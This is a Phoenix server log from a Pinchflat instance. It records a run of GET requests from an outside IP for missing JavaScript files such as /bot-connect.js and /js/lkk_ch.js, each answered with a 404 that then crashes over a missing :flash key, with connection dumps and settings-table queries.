resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDqVMTwzXOxs9wAAJoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/protect/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47592}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/style/protect/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3880.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/protect/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47592}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3881.0>, params: %{}, path_info: ["static", "style", "protect", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>] (truncated) 01:31:50.489 [info] GET /bot-connect.js 01:31:50.490 [debug] QUERY OK source="settings" db=0.2ms idle=1965.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:50.491 [debug] QUERY OK source="settings" db=0.3ms idle=1965.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:50.491 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:31:50.491 [error] #PID<0.3891.0> running PinchflatWeb.Endpoint (connection #PID<0.3890.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /bot-connect.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bot-connect (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3890.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bot-connect.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47606}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3891.0>, params: %{}, path_info: ["bot-connect"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/bot-connect.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDqVoQtjvnM13oAAFAC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3890.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bot-connect.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47606}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bot-connect (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3890.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bot-connect.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47606}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3891.0>, params: %{}, path_info: ["bot-connect"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix (truncated) 01:31:50.628 [info] GET /static/style/sys_files/index.js 01:31:50.629 [debug] QUERY OK source="settings" db=0.2ms idle=335.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:50.629 [debug] QUERY OK source="settings" db=0.2ms idle=138.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:50.629 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:31:50.630 [error] #PID<0.3893.0> running PinchflatWeb.Endpoint (connection #PID<0.3892.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /static/style/sys_files/index.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/style/sys_files/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3892.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/sys_files/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47608}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3893.0>, params: %{}, path_info: ["static", "style", "sys_files", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/static/style/sys_files/index.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDqVoxtZL0fY9EAAFCC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3892.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/sys_files/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47608}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/style/sys_files/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3892.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/style/sys_files/index.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47608}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3893.0>, params: %{}, path_info: ["static", "style", "sys_files", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug. (truncated) 01:31:50.762 [info] GET /assets/js/message.js 01:31:50.763 [debug] QUERY OK source="settings" db=0.3ms idle=271.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:50.763 [debug] QUERY OK source="settings" db=0.3ms idle=238.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:50.763 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:31:50.764 [error] #PID<0.3895.0> running PinchflatWeb.Endpoint (connection #PID<0.3894.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /assets/js/message.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/message (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3894.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/message.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47610}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3895.0>, params: %{}, path_info: ["assets", "js", "message"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate"}, {"accept-language", "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "178.22.106.230"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "178.22.106.230"} ], request_path: "/assets/js/message.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDqVpRslhGRnIMAAFEC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3894.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/message.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47610}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/js/message (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3894.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/js/message.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47610}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", "x-real-ip" => "178.22.106.230" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3895.0>, params: %{}, path_info: ["assets", "js", "message"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_u (truncated) 01:31:50.897 [info] GET /js/lkk_ch.js 01:31:50.898 [debug] QUERY OK source="settings" db=0.2ms idle=372.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:50.898 [debug] QUERY OK source="settings" db=0.2ms idle=269.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:31:50.898 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:31:50.899 [error] #PID<0.3897.0> running PinchflatWeb.Endpoint (connection #PID<0.3896.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /js/lkk_ch.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/lkk_ch (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3896.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/lkk_ch.js", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 47612}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate", "accept-language" => "en-US,en;q=0.9,de-CH;q=0.8,de;q=0.7,ca;q=0.6", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "178.22.106.230", "x-forwarded-proto" => "https", 